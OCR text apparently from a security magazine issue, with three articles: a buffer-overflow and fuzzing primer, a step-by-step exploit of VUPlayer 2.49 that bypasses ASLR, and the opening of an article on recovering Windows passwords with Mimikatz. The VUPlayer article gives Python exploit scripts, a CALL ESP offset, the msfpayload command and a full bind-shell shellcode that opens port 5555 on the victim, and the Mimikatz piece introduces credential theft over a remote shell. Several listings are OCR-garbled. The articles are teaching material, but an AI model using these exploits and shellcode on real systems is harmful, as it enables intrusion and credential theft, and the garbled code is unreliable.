0x080484cb	<+55>:	call	0x80483b8 <isoc99_scanf@plt></isoc99_scanf@plt>
0x080484d0	<+60>:	mov	\$0x0,%eax
0x080484d5	<+65>:	mov	0x41c(%esp),%edx
0x080484dc	<+72>:	хог	%gs:0x14,%edx
0x080484e3	<+79>:	je	0x80484ea <main+86></main+86>
0x080484e5	<+81>:	call	0x80483a8 <stack_chk_fail@plt></stack_chk_fail@plt>
0x080484ea	<+86>:	leave	
0x080484eh	<+87>	ret	

Figure 4. Assembly representation of the application

cpu runs as instructions, it's time to get to the main part of this article which is buffer overflow and application fuzzing.

What the heck is a buffer overflow?

As we saw earlier, the stack can contain different kind of information: instructions for the cpu, characters strings for example. The latter is the one we will focus on. In the following examples, we will see one type of problem: buffer overflow. This can be caused by many different programming errors or implementation. The one we will test is going to be about the bounds of an array of characters that are not properly checked. Remember when we discussed about the stack having some stuff in it and that everything has its place? Well what if the input we give a program was bigger than expected? It would try to fit it in the space it has and if it's too much, it will go on other data and overwrite it hence the overflow. To see it in action, we will do some testing on a rather simplistic but functional piece of code in C. To accomplish our goal, we will need a GNU/Linux distro (BackTrack 5 for example) and the will to learn. I use Linux in that case because I love it and it comes prepackaged with a C compiler on most versions. Note that we could accomplish something similar on MS Windows by using MinGw to compile the code but the results may vary so it would be better to stick with Linux for that one. So let's begin now shall we?

Here is the code sample we will use: Listing 1. Now that we've got the code, we need the binary. So here we go: Listing 2.

Note: We will explain later why we used this particular command to compile the code in the last section of this

Listing 3. Perl's small framework used to test the vulnerable application

```
#!/usr/bin/perl
$teststr = "";
$maxloop = 100000;
@charlist = ('a'..'z','A'..'Z','0'..'9','_',',',');
for ($count = 1; $count <= $maxloop; $count++) {
    $teststr = $teststr.$charlist[rand @charlist];
    system("echo ".$teststr." | ./vulnapp1") and die("\n\n- Died with $count chars");
}
</pre>
```

Listing 4. Making the perl script runnable.

chmod +x exploiter.pl

article when we will talk about countermeasures and helpful features.

Next, we will need to confirm that the application is working and what to expect as a normal output so we can establish a baseline for it. You should see something similar to this output: Figure 5.

Ok, so now that we know our program "works as expected", we are ready to go to the next step of learning: application fuzzing.

First of all, what is fuzzing?

Well, it is the art of fuzzing! It does not help much now does it? Ok, it is a technique used to test applications' inputs or protocols (or any other system/program) in ways programmers or constructors may not have thought of. In other words, you feed it with junk (we will define which kind a bit later) and see if it breaks under pressure. In this article we will concentrate on application fuzzing. We will go step-by-step so we can understand how and why this can be accomplished. We will talk a bit about exploitation to get a brief overview so we can better understand the why and how of the problem we will see.

Keep in mind that the main goal of application fuzzing is not always to exploit the program but also to see if there are bugs that could potentially cause other kind of problems (just imagine if a piece of software that is responsible for making sure a life



Figure 5. What the program should normally do

support system is working properly would crash if the user entered a bogus entry inadvertently! That would be disastrous).

As we saw, *vulnapp1* requires a user to enter his/ her name then it will greet him/her with a welcome message. No big deal here. We want to see if the program will break if we feed it with the junk we were talking about. This "junk" can be in fact bogus data or too much data that the application will not be able to process correctly because it is unexpected data. In that particular case, we will test with more than it needs to see if it makes it crash.

To achieve our goal, we will use another pretty simple piece of code but this time it will be in Perl. I don't really like Perl but I have to admit it can do some neat tricks in a few lines and it will help us build a small framework to do some quick tests on our application: Listing 3. And then we make it runnable: Listing 4.

Still alive? Breathing normally? Great! I told you I would go easy on you didn't I? Now we are pretty much set to go forward and test this app. We will make sure we understand each steps and most of all why problems may/will occur. For the sake of these exercises, let's pretend we didn't see the source code of *vulnapp1.c* so we can make hypothesis and deductions on our findings. This kind of testing is called *black box testing*. It simply means that you feed the program something and it gives you an output but you don't really know how it works exactly internally.

BZNQyp3,aq0 Y1kdal0Rews ulvixokED1_ 2dZ8hQ00kse	WWu,b2mthF55pZH5wis014 svKnsoQNYNJPws0HIKTSK0 _3pmqD_H.8u90N3f.iVZrF eehEnZoq4119px8lJKUWTg	ttSCuvtENUbj6NLMshSkdZWqlCha8yn91JJJDWBTTUbaunnf 1950CuvtENUbj6NLMshSkdZWqlCha8yn91JJJDWBTCYjAgHTq4j4g8 1Pb.OKGmA85V4f1vZc2cHAc23KOGg0Wst4v3niaub,SI,H8Dhhgb1 PMM_skBC7,x8k9Ti2CM2WHS5QNLGNAKKV0qp1Hmav2zhSc3Dhb p9g.ie5.mmDla0xAfLLwDe53PcKwcHZhIbTKbJAXREaSsEf.ajN7lt
golrxJEBW		
6115	Segmentation fault	./vulnapp1
- Died with root@bt:~/p	h 1036 chars at ./explo prog/c#	oiter.pl line 9.

Figure 6. First test output

If you are working on a closed source application, you probably will not be able to get your hands on the source code (hence closed source) so you have to deduce how it works internally by trial and error. In that case, we will just try with random strings to see if it breaks the program. Let's start with the first test. I know I could have done a better script with arguments and all but I am lazy. So now we run the script to test the first input and after a while ...:

Well look at that (the "Segmentation fault")! Isn't that wonderful? A bug! (Remember the last line talking about the program dying with 1036 characters; we will check this in a bit).

So what exactly happened here? Let's dissect this one. First, we will check what the application is doing: Listing 5.

- The string that will contain the user's input (this is a part where the problem occurs)
- The function that will put the user's input in vulnstr1 (the last part that contributes to the crash)

So now that we know what are the main parts of this application, we will see why it crashed. First of all, part 1 is an array that can accommodate 1024 characters. That, in it, is not a problem but if it is combined with the second part then it is game over. Here is why:

When a char array is defined in C, memory is allocated for it so we can put up to x amount of char in it. Now, because it is allocated in memory does not mean it is all alone in there. In fact, it is pretty much a tight fit. This will be allocated on the stack. Because everything is at its place, if one part gets over-excited and tries to access more memory than it was allocated (in other words, gets out of bounds), then the problem can/will occur. Worst,

```
Listing 5. Dissection of vulnapp1.c
#include <stdio.h>
int main() {
    char vulnstr1[1024];1
    printf("Please enter your name below:\n");
    scanf("%s", vulnstr1);2
    printf("Hello %s\n\n", vulnstr1);
    return 0;
}
Listing 6. Command line normally used to compile
gcc -o vulnapp1 vulnapp1.c
```

because the cpu reads and does whatever is there, we could craft a special string to feed it pretty much whatever we want it to execute.

Remember when I said that we will talk about the 1036 chars that caused the program to die, well it is time: because the array has only been allocated the space for 1024 characters, when you give it a couple more, it tries to write it and because no one told it not to, it will then replace a part in memory that should not have been overwritten (or accessed). Boom! The crash occurs. This particular problem is called stack smashing (because we are throwing a wrench right into the organized instructions). Please note that there are many other ways to crash an application but we will stick to the stack way for now. In our example, there was a segmentation fault, which means that the application was trying to write data outside the allocated segment (in that case: the stack). As we discussed, this can be dangerous if someone would inject malicious code in there. This is what we will see in the next part.

Security problems?

For this part, we will see why this can be disastrous for reliability but mainly for security. Because the application is as good as the input we give it, it can crash when it is given the wrong stuff. That is one thing to consider but the most important is the security part. First, a little explanation about how permissions work for processes: a program runs with the privileges of the user who started it (if nothing else is being done to run under another name). It is useful if you want the application to have access to what it needs and don't necessarily want other users to access the same files (privilege separation helps to secure the system). Now, the main user who has the all-access card under Linux is "root". So, if a program runs under "root", it will have "root" privileges. This, again, is not always a problem if the application needs to access restricted area. But if it has bugs in it like buffer overflow, it can sometimes be taken advantage of it and make the program run unintended code. Often time, an attacker will use what we call a "shellcode" which can be almost anything but mostly is a bit of code that, when executed on a machine, will run a small shell which can give direct access on the system to the attacker. We will not go into the details about how to create a shellcode because, as I said, it would need an entire article by itself. Besides, there are already a couple of good books on the subject so I will refer you back again to the earlier one called "Hacking: The art of exploitation" for further information. The author of this book gives great examples on how to create and use them. The construction of a shellcode can be tricky depending on where you can or need to put it. Sometimes, all you

can put in is ascii-based only so you need to build your payload accordingly. Some inputs can have so little space left that you need to figure out other ways to get to your shell when it won't fit in. There has been so much development in the exploitation world that there are many tools readily available with various payloads for different operating system and common and not so common vulnerabilities list ready for you to use. One that comes to mind immediately is a framework called metasploit and metasploit pro. For bug discovery, there is sulley framework for application fuzzing et spike for protocol fuzzing. These are just some of the great list of tools that can be invaluable to a penetration testing assessment or just for fun.

So what can we do about it?

Fortunately, there is hope. Remember when we used the long command line to compile our code? Well, I needed to put some extra arguments in it to make the code vulnerable. Normally, this command line would do: Listing 6.

But the problem (for our testing but a benefit for good practice) with listing 3 is that there is a stack protector integrated by default. While it is in use (when the code is compiled like shown in listing 3) and we want to exploit (or try to) our program, we are confronted with a special error: Figure 7.

Note that the program dies with a different number of characters in its buffer.

The "-fno-stack-protector" option helps detecting when a buffer is about to be abused so to prevent further problems, it is preferable to terminate the program instead of causing the whole system to crash. This is why it stops the bug right after the end of the buffer (1024 in our case) so it won't cause any more damage by overwriting other important part of

m9Fj6sq7AMNdjR9Zwoc	03zWPTqC0ibh	OMhIQs	72MZs.Czyz	1goSbBMEFJUT5DrDs.g_JPgCZ6HNJeX_gTHcG49c
*** stack smashing	detected ***	./vu	lnapp1 ter	minated
====== Backtrace:				
/lib/tls/i686/cmov/	libc.so.6(fortify	_fail+0x5	0)[0xb7f57390]
/lib/tls/i686/cmov/	libc.so.6(+0)	ce233a	0xb7f573	[3a]
./vulnapp1[0x804852	f]			
/lib/tls/i686/cmov/	libc.so.6(libc_s	tart_main+	0xe6)[0xb7e8bbd6]
./vulnapp1[0x8048433	1]			
======= Memory map:				
08048000-08049000 r	-xp 00000000	08:01	393510	/root/prog/c/vulnapp1
08049000-0804a000 r-	p 00000000	08:01	393510	/root/prog/c/vulnapp1
0804a000-0804b000 m	w-p 00001000	08:01	393510	/root/prog/c/vulnapp1
0804b000-0806c000 m	w-p 00000000	00:00	0	[heap]
b7e44000-b7e61000 r-	-xp 00000000	08:01	133307	/lib/libgcc_s.so.1
b7e61000-b7e62000 r-	p 0001c000	08:01	133307	/lib/libgcc_s.so.1
b7e62000-b7e63000 m	w-p 0001d000	08:01	133307	/lib/libgcc_s.so.1
b7e74000-b7e75000 m	w-p 00000000	00:00	0	
b7e75000-b7fc8000 r-	-xp 00000000	08:01	263143	/lib/tls/i686/cmov/libc-2.11.1.so
b7fc8000-b7fc9000	p 00153000	08:01	263143	/lib/tls/i686/cmov/libc-2.11.1.so
b7fc9000-b7fcb000 r-	p 00153000	08:01	263143	/lib/tls/i686/cmov/libc-2.11.1.so
b7fcb000-b7fcc000 m	w-p 00155000	08:01	263143	/lib/tls/i686/cmov/libc-2.11.1.so
b7fcc000-b7fcf000 m	w-p 00000000	00:00	0	
b7fde000-b7fe2000 m	W-p 00000000	00:00	0	
b7fe2000-b7fe3000 r-	-xp 00000000	00:00	0	[vdso]
b7fe3000-b7ffe000 r-	-xp 00000000	08:01	133250	/lib/ld-2.11.1.so
b7ffe000-b7fff000 r-	p 0001a000	08:01	133250	/lib/ld-2.11.1.so
b7fff000-b8000000 m	w-p 0001b000	08:01	133250	/lib/ld-2.11.1.so
bffdf000-c0000000 m	w-p 00000000	00:00	0	[stack]
sh: line 1: 9271 D	one		echo	c1PE8fFZmwMhhG6PD.hVQB5YXQhBmRW0WnYvTUPx
NLsiIg9TH2DdMBGk7bI	wmglTCErXlVt	20Nk7	uuxn8hyGw9	7s5osBnwYZZhPKeGyCGMGhwTHW3Rjr9RzB7zCIvV
ptHTJ5QD5h06jbF.uBk	Les1l7tEm4Ita	aciNsU	.nGb1KKKZ	WEBvP4Babrg4dChYxz9CtXMzLLNwJrYjhegctbKX
4t034rgNxjJo25_Tvzo	SNc, Ea, HZCY2	SskqI	ckWUOLvltp	XW_FJ9UgbTCajJ3VA.Bopvf8u.B00.zG,go_E91,
fRlkarM1rXSJdlissMJ	6z0SIXF8hys34	UdRhE	TJX97HVS	ryOafYoXHm.Fnu.AecI5yNwK.nsBztPI6ANniJt4
kC8k70_LpH45ge06Up,	hFd30, idLSz3	1D2JR	GrHcm9Fj6s	q7AMNdjR9Zwoc03zWPTqC0ibh0MhIQs72MZs.Czy
9272 Aborted			/vulnapp1	
- Died with 1025 ch	ars at ./exp	loiter	nl line 9	

Figure 7. What happens when the compiler is doing some security

References

- Hacking: The art of exploitation ISBN-10: 1593271441
- Assembly Language Step-by-Step: Programming with Linux ISBN-10: 0470497025
- Metasploit and Metasploit Pro: http://www.meta sploit.org
- Sulley framework: https://github.com/OpenRCE/sulley
- Spike: http://grey-corner.blogspot.ca/2010/12/introduction -to-fuzzing-using-spike-to.html

memory. Another thing that we could do is add some code to verify that the input we give the program is not longer than the size of the buffer by validating its length. Other solutions can be applied to help having better code: static analysis, dynamic analysis, code review, etc. One thing that can really help is knowing the difference between bad and good coding practices. For that to happen, courses should focus on good practices and bug discovery. That way, programmers could more easily code correctly and find problems before they occur or before the bad guys do.

In conclusion, as you can see, trouble can come from many angles. Some problems can be quite trivial to find while others may never be found. This is why it is very important to understand what we do when we code something and just because it works now does not mean it will not be broken later. Awareness is key here because security is not a patch or a product you can buy to make your problems go away: it's an evolving process that needs to be analyzed, scrutinized and planned otherwise your career could end up just like this poor vulnapp1 and be promptly terminated prematurely.

RICHER DINELLE

Richer Dinelle is a network administrator, a part-time programmer, a security enthusiast and the proud father of 5 kids, which give him some knowledge of risk and stress management. He is always eager to learn more about new technologies and penetration testing techniques. He hosts a (French) podcast on computer security at http:// www.kioptrix.com/podcast/rss.xml, has a blog at http:// www.kioptrix.com/blogfr, is also a co-host of the Hackfest's podcast at http://hackfest.ca and tries to learn Japanese. You can follow the author on twitter at @richerdinelle.

Exploit a Software

with Buffer Overflow Vulnerability and Bypassing Aslr Protection

In this article you will find out what the Buffer overflow vulnerability is, and how you can scan any software for this kind of vulnerability.

ou will also learn how to write your own exploitation with python programming language and bypassing ASLR protection and finally, how to run your own shellcode to control Vulnerable OS.

What is Buffer overflow

Buffer overflow is an anomaly where a program while writing data to a buffer overruns the buffer's boundary and overwrites adjacent memory. This is a special case of violation of memory safety. For example: if you have a 2 liter bottle and you tried to fill it with 2.5 liters of water, of course the water will overrun the bottle boundary and 0.5 liter will fall down.

Buffer overflow vulnerability is the most dangerous vulnerability in the software world because it could allow for an exploitation for OS which include this vulnerable software.

You can have a look at Buffer overflow top threats, *http://www.isssource.com/attack-vector-buffer-overflows-top-threat/.*

If we looked at buffer overflow in technical view:

A buffer overflow occurs when data written to a buffer, due to insufficient bound checking corrupts data values in memory addresses adjacent to the allocated buffer.

variable name				1	4				В		
value		[null string]									
hex value	00	00 00 00 00 00 00 00 00									

Figure	1. Empty r	egisters
--------	-------------------	----------

variable name				1	A				E	В	
value	'e'	'x'	'c'	'e'	's'	's'	'i'	'v'	25856		
hex	65	78	63	65	73	73	69	76	65	00	

Figure 2. registers after filling it

For example

Here – a program has defined two data items which are adjacent in memory; an 8-byte long string buffer, A, and a two-byte integer, B. Initially, A contains nothing but zero bytes, and B contains the number 1979; characters that are one-byte wide (Figure 1).

Now, the program attempts to store the nullterminated string "excessive" in the A buffer. By failing to check the length of the string, it overwrites the value of B (Figure 2).

Although the programmer did not intend to change B at all, B's value has now been replaced by a number formed from part of the character string. In this example, on a big-endian system that uses ASCII, "e" followed by a zero byte would become the number 25856. If B was the only other variable data item defined by the program, writing an even longer string that went past the end of B could cause an error such as a segmentation fault, terminating the process.

And what about ASLR protection?

ASLR refers to address space layout randomization. For example, if you have an instruction like "Call ESP from kernel32.dll" and this instruction offset location is in 0000001, after rebooting your PC this offset will be changed to another number. This means we can't

October 10 Data 10 Data 1
J Unities O Drack O Drack
rtist. Title Type Chn Duration

Figure 3. VUPlayer

²⁰ Exploiting Software

make a successful exploitation because instruction's offset changes every time we reboot our PC. You will learn how to bypass this protection easily and make a successful exploitation.

Most of modern Operating systems have this protection, so we will try to bypass it by finding modules in software itself which doesn't have ASLR protection.

But First we should have a look into Pwn2own challenger. There was a French security researcher that exploited two different IE-zero-day flaws to break into a fully patched 64-bit windows 7 sp1. The hacking team used an unpatched heap overflow bug to bypass DEP and ASLR and a separate memory corruption flaw to break out of the browser's Protected Mode sandbox.

The code execution attack, which required no user action beyond browsing to a rigged web site, also works on Internet Explorer v10 (consumer preview) running on Windows 8.

ASLR bypassing Techniques

There are 3 methods of bypassing ASLR:

- Method 1 Partial overwrite.
- Method 2 Brute force.
- Method 3 Non-ASLR.

Partial overwrite

The old operating systems was vulnerable and there wasn't ASLR protection till the new versions of windows vista released, the exploitation was very simple, just inject your shell code without bypassing any protection and it will be executed successfully, with the new windows versions with ASLR protection you can't see OS main libraries like shell32.DLL, kernel32.dll, User32.dll, etc.

To choose register to inject your shellcode in, and also it will be changed after rebooting your system. Just try to overwrite in EIP to get our next instruction.

exp	04.0	K. Landard and the second s
1		#! /usr/bin/python
2.		
3		print "In Local Buffer overflow Fuzzer In"
2		
2	-	
7	T	
6		junk = "\xil" * 2000 #Here I greated a variable contain 2000 chars of 'A
9		
0		f = open("exploit.pls", "w")
2		# Here I created a file with extension .pls
2		f.write(junk)
3		# Mean write variable junk to exploit.pls file
4		# Now exploit.pls File will contain 2000 chars of 'A'
9	12	r.close()
6	-	Close the function
	14.	nine "error"
20		Alf nothing done is will print error
	L.	

Figure 4. Local buffer overflow fuzzer with python

Method 2 – Brute Force

In this method you have to repeatedly send your exploit to the target until you get a valid return address, this is not good method because it's not reliable, and it can be detected quickly because there are many tries to overwrite.

Method 3 – Non ASLR

Non ASLR is the best method for me, and you can try it easily. I won't talk about it so much because we will try it in real! So, are you ready?

Now, we will start preparing our labs:

- OS: windows 7 professional X86.
- Vulnerable software: VUPlayer V2.49.
- Link of vulnerable software: http://www.softpedia.com/ get/Multimedia/Audio/Audio-Players/VUPlayer.shtml.

Let's Start with "VUPlayer V2.49":

Listing 1. Local Buffer overflow Fuzzer
#! /usr/bin/python
<pre>print "\n Local Buffer overflow Fuzzer \n"</pre>
try :
junk = "\x41" * 2000 #Here I created a variable contain 2000 chars of 'A'
<pre>f = open("exploit.pls" ,"w")</pre>
Here I created a file with extension .pls
f.write(junk(
<pre># Mean write variable junk to exploit.pls file # Now exploit.pls File will contain 2000 chars of 'A'</pre>
f.close()
#close the function
except:
<pre>print "error" #If nothing done it will print error</pre>



Figure 5. Immunity Debugger with VUPlayer

Downloading and installing is very simple and easy, (Figure 3) shows you VUPlayer after installing on our OS.

We will start to write our scanner for BOF manually with python, as shown in (Figure 4 and Listing 1).

Let's start mentor our software with immunity debugger, we will open immunity, then choose the path of VUPlayer debugger as shown in Figure 5:

We will Press [*Shift+F9*] to run the program then open "exploit.pls" file which we have created with our python script. We will notice the crash of program; that mean this program is vulnerable, we will notice also that registers are filled with 'A' characters: Figure 6.

Now we will try to figure out how many bytes cause the buffer overflow. To do it easily we will open our



Figure 6. Access violation

Listing 2. creating pattern

root@bt: # cd /pentest/exploits/framework3/tools
/** Here we will use a small tool in this path to create random chars **/
root@bt:/pentest/exploits/framework3/tools# ./pattern_create.rb 2000
/** Here we used pattern_create to create random chars and here we typed 2000 chars**/
It will create random chars as shown In figure 7.

Listing 3. Determining numbers of characters

```
root@bt:/pentest/exploits/framework3/tools# ./pattern_offset.rb 68423768 2000
/** Usage : ./pattern_offset.rb EIP_offset number_of_chars**/
# It will print 1012, This number means Vuplayer need 1012 bytes to cause the crash.
```



Figure 7. Random characters created with create pattern tool



Figure 8. copy selection of EIP register

Backtrack5 distribution and do the following: Listing 2 and Figure 7.

Now we will copy this characters and return back to our fuzzer script, If you can remember we put variable junk = "x41" * 2000; now we will change junk variable to these random characters and try to open it again with VUPlayer.

We will notice the same error but registers changed to random characters, we will select the EIP register to know the length of our buffer, right click on it and then (copy selection to the clipboard) – as shown in Figure 8.

There is another tool in backtrack called <code>pattern_offset</code> to specify how many bytes used to do the crash (Listing 3).



Figure 9. EIP successfully filled in with 'B' chars

Listing 4. Exploitation Script #! /usr/bin/python print "\n Local Buffer overflow Exploitation \n" try : junk = "\x41" * 1012 #We will change this to only 1012 junk+ = "\x42" * 4 #Here will add more 4 bytes of 'B' chars to try to control EIP f = open("exploit.pls" , "w") # Here I created a file with extension .pls f.write(junk(# Mean write variable junk to exploit.pls file # Now exploit.pls File will contain 2000 chars of 'A' f.close() #close the function except: print "error" #If nothing done it will print error

Now we know the number of bytes to cause the crash, we will back to our python script which we wrote and change the following: Listing 4.

And why do we need to control EIP specially?

Because EIP refers to the next instruction and if we could control it we will inject our shellcode easily.

Now we will save our script and run it again; new file "exploit.pls" will be created then we will open it with VUPlayer again, and we will notice that EIP refers to "424242". This means we successfully controlled EIP register as shown in Figure 9.

Now we will try to bypass ASLR protection, We need to specify 'CALL ESP' instruction's offset to inject our shell code, so, we will use <code>!mona.py</code> tool written by ColeranTeaM, You can download the tool from link: *http://* redmine.corelan.be/projects/mona.

Then we will copy the tool to the following path of immunity debugger to use it

C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands

This tool can help you to find noaslr modules, we said before that ASLR protection change offset of CALL ESP every time we reboot our PC, so we will search for module which doesn't have ASLR protection and static offset. As shown in Figure 10 – we will write the following:

!mona noaslr

Here's the result and we found that module 'BASS.dll' has no ASLR protection. We will use it and search for 'CALL ESP' instruction. Now we will press [*Alt+E*] to show Modules window and choose 'BASS.dll' module, then right click and choose search>search for commands> – or press [*Ctrl* +*F*] directly – and type 'CALL ESP' like shown in Figure 11.

8900 (+ 8900 No 8900 (+ 8900] This mon aslr & no] Generati - Proces - Done.	a.py action t rebase modul ng module inf sing modules Let's rock 'n	ook 0:00:00.0 es : o table, hang roll.	01000 on							
300 300 M	lodule info										
IND B	ase	1 Top	l Size	Rebase	1 SafeSEH	I ASLR	NXCompat	: 08 DII	l Version, Modulename & Path		
80 80 80 80 80 80 80 80	x62000000 x10000000 x00400000	0x6211a000 0x10040000 0x00547000	0x0011a000 0x00040000 0x00147000	False False False	False False False	False False False	False False False	False False False	15.1.1.1395 [OAwatch.dll] (C:\Program Files\ 2.3 [BASS.dll] (C:\Program Files\UPlayer\B 2.43 [UPlayer.exe] (C:\Program Files\UPlayer\B	Online Arnor\OAwatch.dll) ASS.dll) yer\VUPlayer.exe)	
00 (+] This mon	a.py action t	ook 0:00:20.9	66000							

:mona noasir

Figure 10. Result of mona tool searching



Figure 11. Search For Call ESP

Listing 5. Call ESP
#! /usr/bin/python
<pre>print "\n Local Buffer overflow Exploitation \n"</pre>
try :
<pre>junk = "\x41" * 1012 #We will change this to only 1012 junk+ = "\xDF\x18\x02\x10" # Notice ; This is very important step we have replaced "\x42" by offset of 'Call ESP' instruction and we put it inversely f = open("exploit.pls" ,"w")</pre>
Here I created a file with extension .pls
f.write(junk(
<pre># Mean write variable junk to exploit.pls file # Now exploit.pls File will contain 2000 chars of 'A'</pre>
f.close()
#close the function
except:
<pre>print "error" #If nothing done it will print error</pre>
Listing 6. Creating Payload
root@bt:~# msfpayload windows/shell_bind_tcp LPORT=5555 R msfencode -t c #Here we created a bind_tcp shellcode to connect to vulnerable system



Figure 12. Breakpoint at BASS.100218DF

We will see the result and 'CALL ESP' Instruction located in '100218DF' offset. Now we will copy it and back to our python script (Listing 5).

Now EIP register must refers to offset "100218DF" to make sure that we've successfully controlled it (Figure 12).

Now we are going to create our shellcode. We will create bind_tcp shell code from msfpayload we will type the following: Listing 6 and Figure 13.

We will copy shell code to a new 'Junk+" variable, and add 20 Nops, so we will back to our script again and change the following: Listing 7.



Figure 13. Creating Shellcode with msfpayload

Exploit a software with Buffer overflow vulnerability and bypassing ASLR protection

Listing 7. Write your shellcode

```
#! /usr/bin/python
print "\n Local Buffer overflow Exploitation \n"
try :
junk = "\x41" * 1012 #We will change this to only 1012
junk+ = "\xDF\x18\x02\x10" # Notice ; This is very important step we have replaced "\x42" by offset of 'Call
                  ESP' instruction and we put it inversely
Junk = " x 90" * 20
                     # Add 20 Nops
Junk + = ("\xdd\xc5\xd9\x74\x24\xf4\x5d\xb8\x35\x23\x40\x63\x29\xc9\xb1"
"\x56\x31\x45\x18\x03\x45\x18\x83\xc5\x31\xc1\xb5\x9f\xd1\x8c"
"\x36\x60\x21\xef\xbf\x85\x10\x3d\xdb\xce\x00\xf1\xaf\x83\xa8"
"\x7a\xfd\x37\x3b\x0e\x2a\x37\x8c\xa5\x0c\x76\x0d\x08\x91\xd4"
"\xcd\x0a\x6d\x27\x01\xed\x4c\xe8\x54\xec\x89\x15\x96\xbc\x42"
"\x51\x04\x51\xe6\x27\x94\x50\x28\x2c\xa4\x2a\x4d\xf3\x50\x81"
"\x4c\x24\xc8\x9e\x07\xdc\x63\xf8\xb7\xdd\xa0\x1a\x8b\x94\xcd"
"\xe9\x7f\x27\x07\x20\x7f\x19\x67\xef\xbe\x95\x6a\xf1\x87\x12"
"\x3c\x53\x4b\xb4\x32\x18\x1f\x92\x56\x9f\xcc\xa8\x63\x14\xf3"
"\x7e\xe2\x6e\xd0\x5a\xae\x35\x79\xfa\x0a\x98\x86\x1c\xf2\x45"
"\x23\x56\x11\x92\x55\x35\x7e\x57\x68\xc6\x7e\xff\xfb\xb5\x4c"
"\xa0\x57\x52\xfd\x29\x7e\xa5\x02\x00\xc6\x39\xfd\xaa\x37\x13"
"\x3a\xfe\x67\x0b\xeb\x7e\xec\xcb\x14\xab\xa3\x9b\xba\x03\x04"
"\x4c\x7b\xf3\xec\x86\x74\x2c\x0c\xa9\x5e\x5b\x0a\x67\xba\x08"
"\xfd\x8a\x3c\xbb\x4e\x03\xda\xa9\xa0\x42\x74\x45\x03\xb1\x4d"
"\xf2\x7c\x93\xe1\xab\xea\xab\xef\x6b\x14\x2c\x3a\xd8\xb9\x84"
"\xad\xaa\xd1\x10\xcf\xad\xff\x30\x86\x96\x68\xca\xf6\x55\x08"
"\xcb\xd2\x0d\xa9\x5e\xb9\xcd\xa4\x42\x16\x9a\xe1\xb5\x6f\x4e"
"\x1c\xef\xd9\x6c\xdd\x69\x21\x34\x3a\x4a\xac\xb5\xcf\xf6\x8a"
"\xa5\x09\xf6\x96\x91\xc5\xa1\x40\x4f\xa0\x1b\x23\x39\x7a\xf7"
"\xed\xad\xfb\x3b\x2e\xab\x03\x16\xd8\x53\xb5\xcf\x9d\x6c\x7a"
"\x98\x29\x15\x66\x38\xd5\xcc\x22\x48\x9c\x4c\x02\xc1\x79\x05"
"\x16\x8c\x79\xf0\x55\xa9\xf9\xf0\x25\x4e\xe1\x71\x23\x0a\xa5"
"\x6a\x59\x03\x40\x8c\xce\x24\x41")
#Our shellcode
f = open("exploit.pls" ,"w")
# Here I created a file with extension .pls
f.write(junk(
# Mean write variable junk to exploit.pls file
# Now exploit.pls File will contain 2000 chars of 'A'
#close the function
except:
print "error"
#If nothing done it will print error
```

🔹 Immunity Debugger - VUPlayer.exe - [CPU - main thread]	
C File View Debug Plugins ImmLib Options Window Help Jobs	- 8 ×
🔁 🚴 🗉 🔣 📢 🗙 🔰 📕 🕌 👯 🛃 🐳 👌 em twhcPkbzrs? Code auditor and software assessment specialist needed	
Code sudder and schware assessment agecialist needed Code sudder and schware assessment agecialist agec	
001252001 CrCP 192.168.1.101:514007 65.55.92.136:25 SYN_SENT 001252071 001252071 001252071 001252071 001252071 001252071 001252071 001	
00510000 00 00 00 00 00 00 00 00 00 00 00 0	•
[19:39:47] Thread 00000F74 terminated, exit code 0	Running
📀 🥝 🚞 🔍 🔩 🎝 🔍 📟	▲ 1:39 PM 4/13/2012

Figure 14. Port 5555 Is now open

References

- http://en.wikipedia.org/wiki/Buffer_overflow
- https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/
- http://www.zdnet.com/blog/security/pwn2own-2012-ie-9-hacked-with-two-0day-vulnerabilities/10621

You can practice on more examples in the link: http://www.exploit-db.com/download_pdf/16124/



And finally we have exploited the VUPlayer, as shown in Figure 14 if we type "netstat-an" we will find port 5555 is now open, and you can connect to it easily and control OS.

And, finally, we wrote a comprehensive exploitation script with python and we successfully exploited the vulnerable software. We could also bypass ASLR protection by 'mona' script.

AHMED SHERIF EL-DEMRDASH



Communication engineering student | information security researcher | PHP Developer | Leader of c0d3rs Team | For any help don't hesitate to contact me; G: Ahmadsherif24@gmail.com T: @ahmad_hkz F: ahmadsheri

Cloud-based training – access content 24/7 from anywhere with ease.

Hands-on labs – gain practical experience from a "hacker's" perspective.

Constantly updated curriculum – new modules added monthly.

Direct mentoring and 1 on 1 instructor interaction.



Content covers:

- Hacking fundamentals
- Recon, network, server, client, and web pentesting
- Pentest structure
- Reverse engineering
- Digital forensics & more!

Teaches the latest offensive security techniques from beginner through cutting edge.

Are you thinking like a HACKER yet

www.thehackeracademy.com



The Hacker Academy, THA, THA Logo © MAD Security, LLC. 2012

Recovering

Passwords and Encrypted Data Remotely in Plain Text

Many times penetration testers will want access to passwords but may not have time to crack them. This article explains how Windows passwords, no matter how complex, can be recovered remotely and viewed in plain text. This article will also show how encrypted files can be remotely viewed and stored without the encryption.

here has been a lot of buzz across the web the last few months about a program called "Mimikatz". It is an interesting program that allows you to recover Windows passwords from a system in clear text. Why spend hours, days, or months trying to crack a complex password when you can just pull it from Windows memory as unencrypted text?

I have discussed in the past that most Windows passwords less than 15 characters can be cracked in just a few seconds if the attacker can get the Windows Hashes. This is due to the fact that Windows stores these passwords in an easy to crack LM hash. An old encryption used for backwards compatibility. Microsoft allows you to disable the older LM Hash, but as Mike Pilkington discusses on the SANS blog [1], Microsoft still creates the hash and stores it in memory.

No big deal, just make your passwords 15 characters or greater and problem solved. The LM hash will not be created, only the more secure NTLM hash. Well, not so fast. It seems that the LM hash is not the only version of the passwords that Windows keeps in memory; it also keeps a copy of the passwords that can be recovered in plain text!

Mimikatz can retrieve these clear text passwords and display them. But it is not the only program that can do this. There is another penetration tester tool called the *Windows Credential Editor* (WCE) that has the same capability.

In this article we will discuss how a penetration tester could use these password recovery tools and the Social Engineering Toolkit (which I have covered in a prior article) to remotely obtain and view clear text passwords.

But that is not all, though not related to the password recovery programs, we will also see how encrypted data can be copied from a remote machine and viewed without the encryption.

As always, do not access systems you don't own, or try these techniques on systems without permission. Doing so could end you up in serious legal trouble. And always do your penetration testing learning on test machines and not on live production systems.

Recovering Passwords with Mimikatz

Pauldotcom.com [2] has a great article explaining how to use Mimikatz to recover remote passwords. In this example, I will use the website Java attack through the *Social Engineering Toolkit* (SET) to obtain a remote shell and then use Mimikatz to view the passwords.

